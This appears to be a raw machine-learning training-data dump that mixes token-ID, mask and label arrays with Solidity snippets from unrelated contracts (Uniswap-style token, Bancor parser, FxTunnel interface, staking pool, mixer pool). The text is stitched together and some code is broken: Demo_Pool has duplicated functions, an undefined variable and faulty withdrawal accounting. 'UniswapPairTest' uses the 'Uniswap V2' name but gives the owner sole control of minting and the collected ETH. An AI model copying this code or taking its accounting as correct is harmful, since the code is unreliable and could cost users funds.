[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 15638, 39, 5015, 1345, 1887, 63, 728, 92, 65, 273, 394, 11184, 1345, 24899, 529, 16, 389, 9009, 1627, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.6; import "../libraries/SafeMath.sol"; contract UniswapV2ERC20 { using SafeMath for uint256; string public constant name = "Uniswap V2"; string public constant symbol = "UNI-V2"; uint8 public constant decimals = 18; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); constructor() public {} function _mint(address to, uint256 value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve( address owner, address spender, uint256 value ) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer( address from, address to, uint256 value ) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint256 value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom( address from, address to, uint256 value ) external returns (bool) { if (allowance[from][msg.sender] != uint256(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } } contract UniswapPairTest is UniswapV2ERC20 { using SafeMath for uint256; address public owner; address public token0; address public token1; uint256 public token0Coef = 1; uint256 public token1Coef = 1; uint256 private reserve0; // uses single storage slot, accessible via getReserves uint256 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint256 private unlocked = 1; modifier lock() { require(unlocked == 1, "UniswapV2: LOCKED"); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns ( uint256 _reserve0, uint256 _reserve1, uint32 _blockTimestampLast ) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint256 reserve0, uint256 reserve1); constructor() public { owner = msg.sender; } // called once by the owner at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == owner, "UniswapV2: FORBIDDEN"); // sufficient check token0 = _token0; token1 = _token1; } function setCoefficient(uint256 _token0Coef, uint256 _token1Coef) external { require(msg.sender == owner, "UniswapV2: FORBIDDEN"); // sufficient check token0Coef = _token0Coef; token1Coef = _token1Coef; } function mint(address to, uint256 liquidity) external lock returns (uint256) { require(msg.sender == owner, "UniswapV2: FORBIDDEN"); // sufficient check uint256 amount0 = liquidity.mul(token0Coef); uint256 amount1 = liquidity.mul(token1Coef); reserve0 = reserve0.add(amount0); reserve1 = reserve1.add(amount1); _mint(to, liquidity); emit Mint(to, amount0, amount1); return liquidity; } // this low-level function should be called from a contract which performs important safety checks function burn(address to, uint256 liquidity) external lock returns (uint256 amount0, uint256 amount1) { require(msg.sender == owner, "UniswapV2: FORBIDDEN"); // sufficient check amount0 = liquidity.mul(token0Coef); amount1 = liquidity.mul(token1Coef); require(reserve0 > amount0 && reserve1 > amount1, "UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED"); reserve0 = reserve0.sub(amount0); reserve1 = reserve1.sub(amount1); _burn(to, liquidity); emit Burn(to, amount0, amount1, address(0)); } function swap() external payable returns (uint256) { uint256 amount = msg.value * 1000; require(balanceOf[owner] >= amount, "UniswapV2: INSUFFICIENT"); _transfer(owner, msg.sender, amount); return amount; } function withdraw() external returns (uint256) { (bool success, ) = owner.call{value: address(this).balance}(new bytes(0)); require(success, "ETH_TRANSFER_FAILED"); } }
called once by the owner at time of deployment
function initialize(address _token0, address _token1) external { token0 = _token0; token1 = _token1; }
7,292,048
[ 1, 11777, 3647, 635, 326, 3410, 622, 813, 434, 6314, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 4046, 12, 2867, 389, 2316, 20, 16, 1758, 389, 2316, 21, 13, 3903, 288, 203, 202, 202, 2316, 20, 273, 389, 2316, 20, 31, 203, 202, 202, 2316, 21, 273, 389, 2316, 21, 31, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x759563F3A0f51A202e504BE5Ea3DeF0D3b4e6933/sources/browser/BANCOR_HELPER/BancorPoolParser.sol.sol
Works for new Bancor pools parse total value of pool conenctors get common data get contracts insnance
function parseConnectorsByPool(address _from, address _to, uint256 poolAmount) external view returns(uint256) { address converter = ISmartToken(address(_from)).owner(); uint16 connectorTokenCount = IBancorConverter(converter).connectorTokenCount(); uint256 poolTotalSupply = ISmartToken(address(_from)).totalSupply(); uint32 reserveRatio = IBancorConverter(converter).reserveRatio(); BancorNetworkInterface bancorNetwork = BancorNetworkInterface( GetBancorData.getBancorContractAddresByName("BancorNetwork") ); IBancorFormula bancorFormula = IBancorFormula( GetBancorData.getBancorContractAddresByName("BancorFormula") ); return calculateTotalSum( converter, poolTotalSupply, reserveRatio, connectorTokenCount, bancorNetwork, bancorFormula, _to, poolAmount ); }
4,838,005
[ 1, 16663, 364, 394, 605, 304, 3850, 16000, 1109, 2078, 460, 434, 2845, 356, 275, 299, 1383, 336, 2975, 501, 336, 20092, 29821, 1359, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1109, 7487, 87, 858, 2864, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 2845, 6275, 13, 203, 565, 3903, 203, 565, 1476, 203, 565, 1135, 12, 11890, 5034, 13, 203, 225, 288, 203, 377, 1758, 6027, 273, 4437, 81, 485, 1345, 12, 2867, 24899, 2080, 13, 2934, 8443, 5621, 203, 377, 2254, 2313, 8703, 1345, 1380, 273, 23450, 304, 3850, 5072, 12, 15747, 2934, 23159, 1345, 1380, 5621, 203, 377, 2254, 5034, 2845, 5269, 3088, 1283, 273, 4437, 81, 485, 1345, 12, 2867, 24899, 2080, 13, 2934, 4963, 3088, 1283, 5621, 203, 377, 2254, 1578, 20501, 8541, 273, 225, 23450, 304, 3850, 5072, 12, 15747, 2934, 455, 6527, 8541, 5621, 203, 203, 377, 605, 304, 3850, 27413, 25732, 3850, 3906, 273, 605, 304, 3850, 27413, 12, 203, 4202, 968, 38, 304, 3850, 751, 18, 588, 38, 304, 3850, 8924, 986, 455, 5911, 2932, 38, 304, 3850, 3906, 7923, 203, 377, 11272, 203, 377, 23450, 304, 3850, 14972, 25732, 3850, 14972, 273, 23450, 304, 3850, 14972, 12, 203, 4202, 968, 38, 304, 3850, 751, 18, 588, 38, 304, 3850, 8924, 986, 455, 5911, 2932, 38, 304, 3850, 14972, 7923, 203, 377, 11272, 203, 203, 377, 327, 4604, 5269, 3495, 12, 203, 4202, 6027, 16, 203, 4202, 2845, 5269, 3088, 1283, 16, 203, 4202, 20501, 8541, 16, 203, 4202, 8703, 1345, 1380, 16, 203, 4202, 25732, 3850, 3906, 16, 203, 4202, 25732, 3850, 14972, 16, 203, 4202, 389, 869, 16, 203, 4202, 2845, 6275, 203, 4202, 11272, 203, 225, 289, 203, 2 ]
./full_match/1/0xF30FA9e36FdDd4982B722432FD39914e9ab2b033/sources/src/contracts/adapters/polygon/tunnel/interfaces/IFxTunnel.sol
* @title IFxTunnel @author BGD Labs @notice Interface for the FxTunnel two-way messaging contracts./
interface IFxTunnel { function sendMessage(address receiver, bytes memory message) external; pragma solidity ^0.8.0; }
3,155,500
[ 1, 5501, 92, 20329, 225, 605, 27338, 511, 5113, 225, 6682, 364, 326, 478, 92, 20329, 2795, 17, 1888, 17301, 20092, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 11083, 92, 20329, 288, 203, 225, 445, 15399, 12, 2867, 5971, 16, 1731, 3778, 883, 13, 3903, 31, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42/0x0f25232673c53a62D29084dBDc0f3F7A751bBc07/sources/A.sol
Demo token contract address reward interval 7 days unstaking possible after 7 days
contract Demo_Pool is Ownable { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint256 amount); address public tokenAddress = 0x5e7AD051409A2266701362035918207BABF0a3F8; uint256 public rewardInterval = 7 days; uint256 public cliffTime = 7 days; uint256 public rewardToken; uint256 public periodStartedat; uint256 public totalClaimedRewards; uint256 public totalDepositedToken; bool public farmEnabled = false; EnumerableSet.AddressSet private holders; mapping (address => uint256) public depositedTokens; mapping (address => uint256) public stakingTime; mapping (address => uint256) public lastClaimedTime; mapping (address => uint256) public totalEarnedTokens; function updateAccount(address account) private { uint256 pendingDivs = getPendingDivs(account); require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); rewardToken = rewardToken.sub(pendingDivs); emit RewardsTransferred(account, pendingDivs); lastClaimedTime[account] = block.timestamp; } function getPendingDivs(address _holder) public view returns (uint256 _pendingDivs) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint256 stakedAmount = depositedTokens[_holder]; uint256 pendingDivs = rewardToken.div(totalDepositedToken).mul(stakedAmount); return pendingDivs; } function getNumberOfHolders() public view returns (uint256) { return holders.length(); } function deposit(uint256 amountToStake) public { require(farmEnabled, "Farming not enabled yet"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake); totalDepositedToken = totalDepositedToken.add(amountToStake); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = block.timestamp; } } function deposit(uint256 amountToStake) public { require(farmEnabled, "Farming not enabled yet"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake); totalDepositedToken = totalDepositedToken.add(amountToStake); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = block.timestamp; } } function emergencyWithdrawal() public { require(Token(tokenAddress).transfer(msg.sender, depositedTokens[msg.sender]), "Could not transfer tokens."); totalDepositedToken = totalDepositedToken.sub(depositedTokens[msg.sender]); depositedTokens[msg.sender] = 0; holders.remove(msg.sender); } function withdraw(uint256 amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens."); totalDepositedToken = totalDepositedToken.sub(depositedTokens[msg.sender]); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function withdraw(uint256 amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens."); totalDepositedToken = totalDepositedToken.sub(depositedTokens[msg.sender]); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { require(block.timestamp.sub(periodStartedat) > cliffTime.sub(1 days), "You need to wait minimum 6 day before withdrawing."); updateAccount(msg.sender); } function startPeriod() public onlyOwner { require(block.timestamp >= periodStartedat.add(rewardInterval)); periodStartedat = block.timestamp; rewardToken = Token(tokenAddress).balanceOf(address(this)); } function getStakingAndDaoAmount() public view returns (uint256) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } function getStakingAndDaoAmount() public view returns (uint256) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } function setCliffTime(uint256 _time) public onlyOwner { cliffTime = _time; } function setRewardInterval(uint256 _rewardInterval) public onlyOwner { rewardInterval = _rewardInterval; } function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner { stakingAndDaoTokens = _stakingAndDaoTokens; } function disableFarm() external onlyOwner() { farmEnabled = false; } function enableFarm() external onlyOwner() { farmEnabled = true; } function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner { require(_tokenAddress != tokenAddress); Token(_tokenAddress).transfer(_to, _amount); } }
9,600,242
[ 1, 27126, 1147, 6835, 1758, 19890, 3673, 2371, 4681, 640, 334, 6159, 3323, 1839, 2371, 4681, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 27744, 83, 67, 2864, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 1887, 694, 31, 203, 377, 203, 565, 871, 534, 359, 14727, 1429, 4193, 12, 2867, 10438, 16, 2254, 5034, 3844, 1769, 203, 377, 203, 565, 1758, 1071, 1147, 1887, 273, 374, 92, 25, 73, 27, 1880, 6260, 3461, 5908, 37, 3787, 6028, 27, 1611, 5718, 3462, 4763, 29, 2643, 3462, 27, 38, 2090, 42, 20, 69, 23, 42, 28, 31, 203, 377, 203, 565, 2254, 5034, 1071, 19890, 4006, 273, 2371, 4681, 31, 203, 377, 203, 565, 2254, 5034, 1071, 927, 3048, 950, 273, 2371, 4681, 31, 203, 377, 203, 565, 2254, 5034, 1071, 19890, 1345, 31, 203, 565, 2254, 5034, 1071, 3879, 9217, 270, 31, 203, 377, 203, 565, 2254, 5034, 1071, 2078, 9762, 329, 17631, 14727, 31, 203, 565, 2254, 5034, 1071, 2078, 758, 1724, 329, 1345, 31, 203, 377, 203, 565, 1426, 1071, 284, 4610, 1526, 273, 629, 31, 203, 377, 203, 565, 6057, 25121, 694, 18, 1887, 694, 3238, 366, 4665, 31, 203, 377, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 443, 1724, 329, 5157, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 384, 6159, 950, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 1142, 9762, 329, 950, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 2078, 41, 1303, 329, 5157, 31, 203, 377, 203, 565, 445, 1089, 3032, 2 ]
./partial_match/1/0xB0a3494E876Cd066CB8dc9d16A312Cc11Df4d20A/sources/OxOMixerPool.sol
@notice Returns the pool address for the given token @param _token The token to get the pool for @return The address of the pool
function getPool(address _token) external view returns (address) { return pools[_token]; }
15,528,754
[ 1, 1356, 326, 2845, 1758, 364, 326, 864, 1147, 225, 389, 2316, 1021, 1147, 358, 336, 326, 2845, 364, 327, 1021, 1758, 434, 326, 2845, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 28575, 12, 2867, 389, 2316, 13, 3903, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 16000, 63, 67, 2316, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 